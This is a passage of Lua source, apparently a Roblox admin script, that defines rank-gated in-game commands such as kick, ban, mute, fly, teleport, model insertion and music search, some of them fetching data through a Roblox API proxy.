- function(Player, Arguments)
- game:service'Lighting'.FogEnd = Arguments[1]
- end,
- true
- )
- AddCommand(
- 'FogStart',
- 4,
- {
- 'fogstart'
- },
- 'Makes fogstart a specific number',
- Prefix..'fogstart 100',
- function(Player, Arguments)
- game:service'Lighting'.FogStart = Arguments[1]
- end,
- true
- )
- AddCommand(
- 'Team',
- 4,
- {
- 'team'
- },
- 'Makes specified players a specific team',
- Prefix..'team [player1],[player2] [teamname]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- local TeamColor
- for i, v in pairs(service'Teams':children()) do
- if v:IsA'Team' then
- if v.Name:sub(1, #Arguments[2]) == #Arguments[2] then
- TeamColor = v.TeamColor
- end
- end
- end
- for i, v in pairs(Players) do
- if TeamColor ~= nil then
- v.TeamColor = TeamColor
- end
- end
- end,
- true
- )
- AddCommand(
- 'Shirt',
- 3,
- {
- 'shirt'
- },
- 'Adds a shirt to specified players.',
- Prefix..'shirt [player],[player2] [shirtid]',
- function(Player, Arguments)
- if #Arguments ~= 2 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Shirt', v.Character, function(v)
- v:remove''
- end)
- Instance.new('Shirt', v.Character).ShirtTemplate = 'http://www.roblox.com/asset/?id='..Arguments[2]
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Pants',
- 3,
- {
- 'pants'
- },
- 'Adds some pants to specified players.',
- Prefix..'pants [player],[player2] [pantsid]',
- function(Player, Arguments)
- if #Arguments ~= 2 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Pants', v.Character, function(v)
- v:remove''
- end)
- Instance.new('Pants', v.Character).PantsTemplate = 'http://www.roblox.com/asset/?id='..Arguments[2]
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Face',
- 3,
- {
- 'face'
- },
- 'Adds a face to specified players.',
- Prefix..'face [player],[player2] [faceid]',
- function(Player, Arguments)
- if #Arguments ~= 2 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Decal', v.Character.Head, function(v)
- v.TextureId = 'http://www.roblox.com/asset/?id='..Arguments[2]
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Respawn',
- 3,
- {
- 'rs',
- 'respawn'
- },
- 'Respawns specified players.',
- Prefix..'rs [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- v:LoadCharacter()
- end
- end,
- true
- )
- AddCommand(
- 'Walkspeed',
- 3,
- {
- 'ws',
- 'speed',
- 'walkspeed'
- },
- 'Changes walkspeed of specified players.',
- Prefix..'ws [player],[player2] [speed]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.WalkSpeed = tonumber(Arguments[2])
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Fly',
- 3,
- {
- 'fly'
- },
- 'Makes specified players able to fly.',
- Prefix..'fly [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- Fly(v)
- end
- end,
- true
- )
- AddCommand(
- 'UnFly',
- 3,
- {
- 'unfly'
- },
- 'Makes specified players unable to fly.',
- Prefix..'unfly [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- UnFly(v)
- thread(function()
- for i = 1, 3 do
- wait(.3)
- v.Character.Humanoid.PlatformStand = false
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Character',
- 3,
- {
- 'char'
- },
- 'Makes specified players characters anyone you set it to.',
- Prefix..'char [player],[player2] [name]',
- function(Player, Arguments)
- if #Arguments > 2 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- local PlayerId = IdFromName(Arguments[2])
- local fetch = service'HttpService':GetAsync([[http://rproxy.pw/Asset/CharacterFetch.ashx?userId=]]..PlayerId)
- local fetches = Split(fetch, ';')
- local fetched = {}
- for i = 1, #fetches do
- table.insert(fetched, Split(fetches[i], '=')[2])
- end
- local insfetched = {}
- for i = 1, #fetched do
- if i ~= 1 and #fetched[i] <= 12 then
- print(fetched[i])
- print(#fetched[i])
- table.insert(insfetched, game:service'InsertService':LoadAssetVersion(tonumber(fetched[i])):children()[1])
- end
- end
- for i, v in pairs(Players) do
- for o, p in pairs(v.Character:children()) do
- if p:IsA'Shirt' or p:IsA'Hat' or p:IsA'BodyColors' or p:IsA'Pants' or p:IsA'CharacterMesh' then
- p:Destroy()
- elseif p.Name == 'Head' and p:FindFirstChild'face' then
- p.face:Destroy''
- elseif p.Name == 'Torso' and p:FindFirstChild'roblox' then
- p.roblox:Destroy()
- end
- end
- for o, p in pairs(insfetched) do
- if p.Name == 'face' then
- p:clone().Parent = v.Character.Head
- elseif p.Name == 'roblox' then
- --p:clone().Parent=v.Character.torso
- else
- p:clone().Parent = v.Character
- end
- end
- if v.Character.Head:findFirstChild'face' == nil then
- local face1 = Instance.new("Decal")
- face1.Shiny = 20
- face1.Transparency = 0
- face1.Name = "face"
- face1.Specular = 0
- face1.Parent = v.Character.Head
- face1.Face = Enum.NormalId.Front
- face1.Archivable = true
- face1.Texture = "rbxasset://textures/face.png"
- end
- end
- end,
- true
- )
- AddCommand(
- 'UnCharacter',
- 3,
- {
- 'unchar',
- 'normal'
- },
- 'Makes specified players characters normal.',
- Prefix..'unchar [player],[player2]',
- function(Player, Arguments)
- if #Arguments > 1 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- local PlayerId = v.userId
- local fetch = service'HttpService':GetAsync([[http://rproxy.pw/Asset/CharacterFetch.ashx?userId=]]..PlayerId)
- local fetches = Split(fetch, ';')
- local fetched = {}
- for i = 1, #fetches do
- table.insert(fetched, Split(fetches[i], '=')[2])
- end
- local insfetched = {}
- for i = 1, #fetched do
- if i ~= 1 and #fetched[i] <= 12 then
- print(fetched[i])
- print(#fetched[i])
- table.insert(insfetched, game:service'InsertService':LoadAssetVersion(tonumber(fetched[i])):children()[1])
- end
- end
- for o, p in pairs(v.Character:children()) do
- if p:IsA'Shirt' or p:IsA'Hat' or p:IsA'BodyColors' or p:IsA'Pants' or p:IsA'CharacterMesh' then
- p:Destroy()
- elseif p.Name == 'Head' and p:FindFirstChild'face' then
- p.face:Destroy''
- elseif p.Name == 'Torso' and p:FindFirstChild'roblox' then
- p.roblox:Destroy()
- end
- end
- for o, p in pairs(insfetched) do
- if p.Name == 'face' then
- p:clone().Parent = v.Character.Head
- elseif p.Name == 'roblox' then
- --p:clone().Parent=v.Character.torso
- else
- p:clone().Parent = v.Character
- end
- end
- if v.Character.Head:findFirstChild'face' == nil then
- local face1 = Instance.new("Decal")
- face1.Shiny = 20
- face1.Transparency = 0
- face1.Name = "face"
- face1.Specular = 0
- face1.Parent = v.Character.Head
- face1.Face = Enum.NormalId.Front
- face1.Archivable = true
- face1.Texture = "rbxasset://textures/face.png"
- end
- end
- end,
- true
- )
- AddCommand(
- 'CommandRank',
- 11,
- {
- 'crank'
- },
- 'Makes specified commands specific rank.',
- Prefix..'crank [command] [rank]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- if Arguments[1] == 'crank' then
- return
- end
- CommandReRank(Arguments[1], Arguments[2])
- end,
- true
- )
- AddCommand(
- 'Plat',
- 3,
- {
- 'plat'
- },
- 'Makes specified players able to walk on air.',
- Prefix..'plat [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- Plat(v)
- end
- end,
- true
- )
- AddCommand(
- 'UnPlat',
- 3,
- {
- 'unplat'
- },
- 'Makes specified players unable to walk on air.',
- Prefix..'unplat [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- UnPlat(v)
- end
- end,
- true
- )
- AddCommand(
- 'Teleport',
- 3,
- {
- 'tp'
- },
- 'Teleports players.',
- Prefix..'tp [player],[player2] [target player]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- local TpPlayer = GetPlayers(Player, Arguments[2])[1]
- for i, v in pairs(Players) do
- thread(function()
- v.Character.Torso.CFrame = TpPlayer.Character.Torso.CFrame
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Save',
- 8,
- {
- 'save'
- },
- 'Saves ranks.',
- Prefix..'save',
- function(Player, Arguments)
- Save()
- end,
- true
- )
- AddCommand(
- 'Console Chat',
- 3,
- {
- 'cc'
- },
- 'Chats from console.',
- Prefix..'fly [player],[player2]',
- function(Player, Arguments)
- if Player.Name:sub(1, 8) == '@remote.' then
- for i, v in pairs(GetRawPlayers()) do
- SendChat(v, Player.Name..': '..Join(Arguments))
- end
- end
- end,
- true
- )
- AddCommand(
- 'Nuke',
- 11,
- {
- 'nuke'
- },
- 'Destroys the server.',
- Prefix..'nuke',
- function(Player, Arguments)
- local des
- function des(obj)
- for i, v in pairs(obj:children()) do
- wait()
- if v:IsA'BasePart' and not v:IsA'Terrain' then
- v.Anchored = false
- v.Locked = true
- v.CanCollide = true
- v:BreakJoints()
- Instance.new('Explosion', v).Position = v.Position
- game:service'Debris':AddItem(v, 5)
- elseif v:IsA'Script' then
- v:Destroy()
- end
- des(v)
- end
- end
- des(workspace)
- workspace.Terrain:Clear()
- end,
- true
- )
- AddCommand(
- 'Kick',
- 5,
- {
- 'kick'
- },
- 'Kicks specified player(s).',
- Prefix..'kick [player],[player2] [reason]',
- function(Player, Arguments)
- local arg1 = Arguments[1]
- table.remove(Arguments, 1)
- for i, v in pairs(GetPlayers(Player, arg1)) do
- if GetRank(Player).Rank > GetRank(v).Rank then
- if #Arguments >= 2 then
- ForceDisconnect(v, Join(Arguments))
- else
- ForceDisconnect(v, 'Disconnected by Aether Admin.')
- end
- end
- end
- end,
- true
- )
- AddCommand(
- 'Mute',
- 5,
- {
- 'mute'
- },
- 'Mutes specified player(s).',
- Prefix..'mute [player],[player2]',
- function(Player, Arguments)
- local arg1 = Arguments[1]
- table.remove(Arguments, 1)
- for i, v in pairs(GetPlayers(Player, arg1)) do
- if GetRank(Player).Rank > GetRank(v).Rank then
- Mute(v)
- end
- end
- end,
- true
- )
- AddCommand(
- 'UnMute',
- 5,
- {
- 'unmute'
- },
- 'UnMutes specified player(s).',
- Prefix..'unmute [player],[player2]',
- function(Player, Arguments)
- local arg1 = Arguments[1]
- table.remove(Arguments, 1)
- for i, v in pairs(GetPlayers(Player, arg1)) do
- --if GetRank(Player).Rank > GetRank(v).Rank then
- UnMute(v)
- --end
- end
- end,
- true
- )
- AddCommand(
- 'Crash',
- 5,
- {
- 'crash'
- },
- 'Crashes specified player(s).',
- Prefix..'crash [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- if GetRank(Player).Rank > GetRank(v).Rank then
- Crash(v)
- end
- end
- end,
- true
- )
- AddCommand(
- '[DONOR] ClanName',
- 0,
- {
- 'clanname'
- },
- 'Makes your clanname appear above your head.',
- Prefix..'clanname',
- function(Player, Arguments)
- --if game:service'MarketplaceService':PlayerOwnsAsset(Player,0) then
- local Clan = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://api.rproxy.pw/clans/get-by-user?userId='..Player.userId))
- Commands.Name.Function(Player, {
- 'me',
- (Clan.Name..'\n' or '')..Player.Name
- })
- --end
- end,
- true
- )
- AddCommand(
- 'Ban',
- 6,
- {
- 'ban'
- },
- 'Bans specified player(s).',
- Prefix..'ban [player],[player2] [reason]',
- function(Player, Arguments)
- local KickMessage = 'You have been banned by '..Player.Name..'.'
- if #Arguments > 1 then
- KickMessage = 'Banned. Reason: '..Arguments[2]..' -'..Player.Name
- elseif #Arguments == 0 then
- return
- end
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- if GetRank(Player).Rank > GetRank(v).Rank then
- Ranked[v.userId].Rank = -1
- ForceDisconnect(v, KickMessage)
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Explode',
- 4,
- {
- 'explode'
- },
- 'Explodes specified player(s).',
- Prefix..'explode [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- Instance.new('Explosion', v.Character).Position = v.Character.Torso.Position
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Shutdown',
- 9,
- {
- 'sd',
- 'shutdown'
- },
- 'Closes the server.',
- Prefix..'shutdown',
- function(Player, Arguments)
- repeat
- for i, v in pairs(GetRawPlayers()) do
- ForceDisconnect(v, 'This game has shut down')
- end
- until wait() == nil
- end,
- true
- )
- AddCommand(
- 'Give Tools',
- 4,
- {
- 'gt',
- 'givetools'
- },
- 'Gives startertools to specified player(s).',
- Prefix..'gt [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- for k, l in pairs(v.StarterGear:children()) do
- if l:IsA'Tool' or l:IsA'HopperBin' then
- l:clone().Parent = v.Backpack
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Give Build Tools',
- 4,
- {
- 'btools',
- 'givebtools',
- 'gbtools',
- 'givebuildtools'
- },
- 'Gives startertools to specified player(s).',
- Prefix..'gt [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- for k, l in pairs(BuildTools) do
- local bt = l:clone()
- bt.Parent = v.Backpack
- if l.Name == 'F3X' then
- wait()
- l["Building Tools by F3X"].Disabled = false
- end
- end
- end)
- end
- end,
- true
- )
- --[[AddCommand(
- 'Insert',
- 4,
- {'ins'},
- 'Shows owners models to insert, and allows inserting from tabs.',
- Prefix..'ins [page]',
- function(Player,Arguments)
- if #Arguments >=1 then else return end
- local page=tonumber(Arguments[1])
- local perpage=10
- Dismiss(Player)
- local set=game:service'InsertService':GetUserSets(gameCreatorId)[1]
- for o=1, #set do
- p=set[o]
- if o>=(page*perpage)+1 and o)<(page*2*perpage)+1 then
- else
- break
- end
- Ping(Player,p.Name..'\nby '..p.CreatorName,function()
- for _,obj in pairs(game:service'InsertService':LoadAssetVersion(p.AssetVersionId):children()) do
- if obj:IsA'Tool' then
- obj.Parent=Player.Backpack
- elseif obj:IsA'HopperBin' then
- obj.Parent=Player.Backpack
- elseif obj:IsA'Script' then
- obj.Parent=workspace
- elseif obj:IsA'LocalScript' then
- obj.Parent=Player.PlayerGui
- elseif obj:IsA'ModuleScript' then
- obj.Parent=workspace
- else
- obj.Parent=workspace
- if obj:IsA'Model' then
- thread(function()
- obj:MoveTo(Player.Character.Torso.Position)
- end)
- elseif obj:IsA'Part' then
- thread(function()
- obj.CFrame=Player.Character.Torso.CFrame
- end)
- end
- end
- end
- end)
- end
- end,false)]]
- AddCommand(
- 'Insert',
- 5,
- {
- 'ins'
- },
- 'Searches through models, and shows models to insert. Only allows the game CREATORS Models, and is sorted by most recent.',
- Prefix..'insert [search]',
- function(Player, Arguments, Page)
- Page = Page or 1
- if #Arguments == 0 then
- Arguments={' '}
- else
- end
- Dismiss(Player)
- local models = service'HttpService':JSONDecode(service'HttpService':GetAsync("http://rproxy.pw/catalog/json?CatalogContext=2&CreatorID="..game.CreatorId.."&Keyword="..service'HttpService':UrlEncode(Join(Arguments)).."&CurrencyType=0&pxMin=0&pxMax=0&SortType=3&SortAggregation=3&SortCurrency=0&IncludeNotForSale=true&LegendExpanded=true&Category=6&ResultsPerPage=10&PageNumber="..Page))
- if #models >= 1 then
- else
- return
- end
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- Ping(Player, 'Next Page', function()
- Dismiss(Player)
- Commands.Insert.Function(Player, Arguments, Page + 1)
- end, 'Lime green')
- if Page ~= 1 then
- Ping(Player, 'Previous Page', function()
- Dismiss(Player)
- Commands.Insert.Function(Player, Arguments, Page - 1)
- end, 'Lime green')
- end
- for i, v in pairs(models) do
- --for o, p in pairs(v) do
- Ping(Player, v.Name, function()
- local mps = service'MarketplaceService'
- for _, obj in pairs(game:service'InsertService':LoadAsset(v.AssetId):children()) do
- if obj:IsA'Tool' then
- obj.Parent = Player.Backpack
- elseif obj:IsA'HopperBin' then
- obj.Parent = Player.Backpack
- elseif obj:IsA'Script' then
- obj.Parent = workspace
- elseif obj:IsA'LocalScript' then
- obj.Parent = Player.PlayerGui
- elseif obj:IsA'ModuleScript' then
- obj.Parent = workspace
- else
- obj.Parent = workspace
- if obj:IsA'Model' then
- thread(function()
- obj:MoveTo(Player.Character.Torso.Position)
- end)
- elseif obj:IsA'Part' then
- thread(function()
- obj.Parent:MoveTo(Player.Character.Torso.Position)
- end)
- end
- end
- end
- end)
- --end
- end
- end,
- false
- )
- AddCommand(
- 'Remove Tools',
- 4,
- {
- 'rt',
- 'removetools'
- },
- 'Removes tools from specified player(s).',
- Prefix..'rt [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- for k, l in pairs(v.Backpack:children()) do
- if l:IsA'Tool' or l:IsA'HopperBin' then
- l:Destroy()
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Sound',
- 4,
- {
- 'sound'
- },
- 'Toggles whether sound can be heard.',
- Prefix..'sound [on/off/number]',
- function(Player, Arguments)
- if Arguments[1]=='on' then
- game:service'SoundService'.DistanceFactor=1
- elseif Arguments[1]=='off' then
- game:service'SoundService'.DistanceFactor=math.huge
- else
- game:service'SoundService'.DistanceFactor=tonumber(Arguments[1])
- end
- end,
- true
- )
- AddCommand(
- 'Admins',
- 0,
- {
- 'admins'
- },
- 'Shows a list of all admins above or equal to lvl 3.',
- Prefix..'admins',
- function(Player, Arguments)
- for i, v in pairs(Ranked) do
- if v.Rank >= 3 then
- Ping(Player, UsernameFromID(i)..'\n Rank | '..RankName(v.Rank, i), nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Run Command',
- 4,
- {
- 'rc'
- },
- 'Allows you to run commands on a player.',
- Prefix..'rt [player],[player2] [reason]',
- function(Player, Arguments)
- Dismiss(Player)
- local RunCommands = {
- ['Kill'] = {
- 'Player'
- };
- ['Remove Tools'] = {
- 'Player'
- };
- ['Ranks'] = {};
- ['Shutdown'] = {};
- ['Give Build Tools'] = {
- 'Player'
- };
- ['Give Tools'] = {
- 'Player'
- };
- ['Explode'] = {
- 'Player'
- };
- ['Ban'] = {
- 'Player'
- };
- ['Kick'] = {
- 'Player'
- };
- ['UnFly'] = {
- 'Player'
- };
- ['Fly'] = {
- 'Player'
- };
- ['Kill'] = {
- 'Player'
- };
- ['Dismiss'] = {};
- ['Loopkill'] = {
- 'Player'
- };
- ['UnLoopkill'] = {
- 'Player'
- };
- ['God'] = {
- 'Player'
- };
- ['Heal'] = {
- 'Player'
- };
- ['Reset'] = {
- 'Player'
- };
- ['Settings'] = {};
- ['Commands'] = {};
- }
- Ping(Player, 'Refresh', function()
- Commands['Run Command'](Player, {})
- end, 'Really blue')
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- for i, v in pairs(RunCommands) do
- Ping(Player, i, function()
- Dismiss(Player)
- if #v == 0 then
- Commands[i].Function(Player, {})
- else
- for k, l in pairs(GetRawPlayers()) do
- Ping(Player, l.Name, function()
- Commands[i].Function(Player, {
- l.Name
- })
- Commands['Run Command'].Function(Player, {})
- end)
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Message',
- 4,
- {
- 'm'
- },
- 'Allows you to send a message to everyone.',
- Prefix..'m Hi',
- function(Player, Arguments)
- for i, v in pairs(GetRawPlayers()) do
- Ping(v, Join(Arguments))
- end
- end, true)
- AddCommand(
- 'Alt Name',
- 0,
- {
- 'altname'
- },
- 'Suggests a possible alternative account name.',
- Prefix..'altname',
- function(Player, Arguments)
- Ping(Player, game:service'HttpService':GetAsync('http://rproxy.pw/UserCheck/GetRecommendedUsername?usernameToTry='..Player.Name))
- end, true)
- AddCommand(
- 'Name',
- 4,
- {
- 'name'
- },
- 'Allows you to name specified players.',
- Prefix..'name [player1],[player2] [name]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- Players = Arguments[1]
- table.remove(Arguments, 1)
- for i, v in pairs(GetPlayers(Player, Players)) do
- thread(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do
- if mod:findFirstChild("NameTag") then
- v.Character.Head.Transparency = 0
- mod:Destroy()
- end
- end
- local char = v.Character
- local mod = Instance.new("Model", char)
- mod.Name = Join(Arguments)
- local cl = char.Head:Clone()
- cl.Parent = mod
- local hum = Instance.new("Humanoid", mod)
- hum.Name = "NameTag"
- hum.MaxHealth = 0
- hum.Health = 0
- local weld = Instance.new("Weld", cl)
- weld.Part0 = cl
- weld.Part1 = char.Head
- char.Head.Transparency = 1
- thread(function()
- char.Humanoid.Changed:connect(function()
- hum.MaxHealth = char.Humanoid.MaxHealth
- hum.Health = char.Humanoid.Health
- end)
- hum.MaxHealth = char.Humanoid.MaxHealth
- hum.Health = char.Humanoid.Health
- end)
- end
- end)
- end
- end, true)
- AddCommand(
- 'Hint',
- 4,
- {
- 'h'
- },
- 'Allows you to send a hint to everyone.',
- Prefix..'h [Message]',
- function(Player, Arguments)
- if #Arguments < 1 then
- return
- end
- local _time = string.len(Join(Arguments)) / 10
- if _time < 4 then
- _time = 4
- end
- for i, v in pairs(game:service'Players':GetPlayers()) do
- thread(function()
- Hint(v, Player.Name..': ', Join(Arguments), _time + 2)
- end)
- end
- end, true)
- AddCommand(
- 'Countdown',
- 4,
- {
- 'count',
- 'countdown'
- },
- 'Allows you to start a countdown.',
- Prefix..'count [time]',
- function(Player, Arguments)
- if #Arguments == 0 then
- return
- end
- local curreps = endreps
- for o = 1, (Arguments[1] or 0) do
- for i, v in pairs(game:service'Players':GetPlayers()) do
- thread(function()
- Hint(v, 'Countdown: ', (Arguments[1] or 0) - o, 1)
- end)
- end
- if endreps ~= curreps then
- break
- end
- wait(1)
- end
- for i, v in pairs(game:service'Players':GetPlayers()) do
- thread(function()
- Hint(v, 'Countdown: ', 'BEGIN!', 1)
- end)
- end
- end, true)
- AddCommand(
- 'SearchMusic',
- 0,
- {
- 'searchmusic',
- 'sm'
- },
- 'Searches up music, allows you to play music.',
- Prefix..'sm pumped up kicks',
- function(Player, Arguments, Page)
- Page = Page or 1
- local tosearch = Join(Arguments)
- local songs = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://rproxy.pw/catalog/json?CatalogContext=2&SortType=0&SortAggregation=3&SortCurrency=0&LegendExpanded=true&Category=9&ResultsPerPage=10&IncludeNotForSale=true&PageNumber='..tostring(Page)..'&Keyword='..tosearch))
- Dismiss(Player)
- if Page ~= 1 then
- Ping(Player, 'Previous Page', function()
- Commands.SearchMusic.Function(Player, Arguments, Page - 1)
- end, 'Lime green')
- end
- Ping(Player, 'Next Page', function()
- Commands.SearchMusic.Function(Player, Arguments, Page + 1)
- end, 'Lime green')
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- for i, v in pairs(songs) do
- Ping(Player, v.Name, function()
- Dismiss(Player)
- Ping(Player, 'Close', function()
- Dismiss(Player)
- end, 'Really red')
- Ping(Player, 'Back', function()
- Dismiss(Player)
- Commands.SearchMusic.Function(Player, Arguments, Page)
- end, 'Really red')
- Ping(Player, 'Name | '..v.Name)
- Ping(Player, 'Id | '..v.AssetId)
- Ping(Player, 'Creator | '..v.Creator)
- Ping(Player, 'Play', function()
- Commands.Music.Function(Player, {
- tostring(v.AssetId)
- })
- end)
- if GetRank(Player).Rank >= 3 then
- Ping(Player, 'Play on server', function()
- Commands.Music.Function(Player, {
- tostring(v.AssetId),
- 'srv',
- 'true'
- })
- end)
- end
- if v.IsForSale or v.IsPublicDomain then
- Ping(Player, 'Buy', function()
- game:service'MarketplaceService':PromptPurchase(Player, v.AssetId)
- end)
- else
- Ping(Player, 'Not for sale.')
- end
- end)
- end
- end, false
- )
- AddCommand(
- 'Pitch',
- 3,
- {
- 'pitch'
- },
- 'Sets music pitch.',
- Prefix..'pitch [speed]',
- function(Player, Arguments)
- for i, v in pairs(workspace:children()) do
- if v:IsA'Sound' then
- v.Pitch = tonumber(Arguments[1])
- end
- end
- end, true)
- AddCommand(
- '[DISABLED] Load Plugin',
- 10,
- {
- 'loadplugin',
- 'lp'
- },
- 'Loads specified plugin.',
- Prefix..'pitch [speed]',
- function(Player, Arguments)
- for i, v in pairs(Arguments) do
- LoadPlugin(tonumber(v))
- end
- end, true)
- AddCommand(
- 'Sword Of Nyx',
- 3,
- {
- 'swordnyx',
- 'nyxsword',
- 'ns'
- },
- 'Gives sword to specified users.',
- Prefix..'nyxsword [player1],[player2]',
- function(Player, Arguments)
- local sword = Sword_Of_Nyx
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- sword:clone().Parent = v.Backpack
- end
- end, true)
- AddCommand(
- 'Sword',
- 3,
- {
- 'sword'
- },
- 'Gives sword to specified users.',
- Prefix..'sword [player1],[player2]',
- function(Player, Arguments)
- local sword = game:service'InsertService':LoadAsset(125013769):children()[1]
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if v.Name ~= 'DarthStrantax' then
- sword:clone().Parent = v.Backpack
- else
- sword:clone().Parent = v.Backpack
- game:service'InsertService':LoadAsset(108149175):children()[1].Parent = v.Backpack
- end
- end
- end, true)
- AddCommand(
- 'Gear',
- 3,
- {
- 'gear'
- },
- 'Gears specified users.',
- Prefix..'gear [player1],[player2] [id]',
- function(Player, Arguments)
- local sword = game:service'InsertService':LoadAsset(tonumber(Arguments[2])):children()[1]
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- sword:clone().Parent = v.Backpack
- if Arguments[3] and Arguments[3] == 'true' then
- sword:clone().Parent = v.StarterGear
- end
- --game:service'InsertService':LoadAsset(108149175):children()[1].Parent=v.Backpack
- end
- end, true)
- AddCommand(
- 'Size',
- 3,
- {
- 'size'
- },
- 'Changes specified users size.',
- Prefix..'size [player1],[player2] [size]',
- function(Player, Arguments)
- if (tonumber(Arguments[2]) or 0) > 50 then
- Ping(Player, 'Sizes cannot be more than 50!', nil, 'Really red')
- return
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- if not (v and v.Character and v.Character:findFirstChild('Torso') and v.Character:findFirstChild('HumanoidRootPart')) then
- return
- end
- local ags = {
- c = v.Character,
- t = v.Character.Torso,
- r = v.Character.HumanoidRootPart
- }
- ags.t.Anchored = true
- ags.t.BottomSurface = 0
- ags.t.TopSurface = 0
- local welds = {}
- for i2, v2 in pairs(ags.c:children()) do
- if v2:IsA('BasePart') then
- v2.Anchored = true
- end
- end
- local function size(p)
- for i2, v2 in pairs(p:children()) do
- if (v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D')) and v2.Part1 and v2.Part1:IsA("Part") then
- local p1 = v2.Part1
- p1.Anchored = true
- v2.Part1 = nil
- local r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12 = v2.C0:components()
- v2.C0 = CFrame.new(r1 * Arguments[2], r2 * Arguments[2], r3 * Arguments[2], r4, r5, r6, r7, r8, r9, r10, r11, r12)
- local r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12 = v2.C1:components()
- v2.C1 = CFrame.new(r1 * Arguments[2], r2 * Arguments[2], r3 * Arguments[2], r4, r5, r6, r7, r8, r9, r10, r11, r12)
- if p1.Name ~= 'Head' and p1.Name ~= 'Torso' then
- p1.formFactor = 3
- p1.Size = p1.Size * Arguments[2]
- elseif p1.Name ~= 'Torso' then
- p1.Anchored = true
- for i3, v3 in pairs(p1:children()) do
- if v3:IsA('Weld') then
- v3.Part0 = nil
- v3.Part1.Anchored = true
- end
- end
- p1.formFactor = 3
- p1.Size = p1.Size * Arguments[2]
- for i3, v3 in pairs(p1:children()) do
- if v3:IsA('Weld') then
- v3.Part0 = p1
- v3.Part1.Anchored = false
- end
- end
- end
- if v2.Parent == ags.t then
- p1.BottomSurface = 0
- p1.TopSurface = 0
- end
- p1.Anchored = false
- v2.Part1 = p1
- if v2.Part0 == ags.t then
- table.insert(welds, v2)
- p1.Anchored = true
- v2.Part0 = nil
- end
- elseif v2:IsA('CharacterMesh') then
- local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
- local msh = Instance.new('SpecialMesh')
- elseif v2:IsA('SpecialMesh') and v2.Parent ~= ags.c.Head then
- v2.Scale = v2.Scale * Arguments[2]
- end
- size(v2)
- end
- end
- size(ags.c)
- ags.t.formFactor = 3
- ags.t.Size = ags.t.Size * Arguments[2]
- for i2, v2 in pairs(welds) do
- v2.Part0 = ags.t
- v2.Part1.Anchored = false
- end
- for i2, v2 in pairs(ags.c:children()) do
- if v2:IsA('BasePart') then
- v2.Anchored = false
- end
- end
- local weld = Instance.new('Weld', ags.r)
- weld.Part0 = ags.r
- weld.Part1 = ags.t
- end)
- end
- end, true)
- AddCommand(
- 'Music',
- 0,
- {
- 'music'
- },
- 'Plays music locally. Srv argument plays server-sided (Semi-Mod+).',
- Prefix..'music [id] [srv]',
- function(Player, Arguments)
- local Id
- local Srv = false
- if Arguments[1] then
- Id = Arguments[1]
- else
- return
- end
- if #Arguments >= 2 and GetRank(Player).Rank >= 3 then
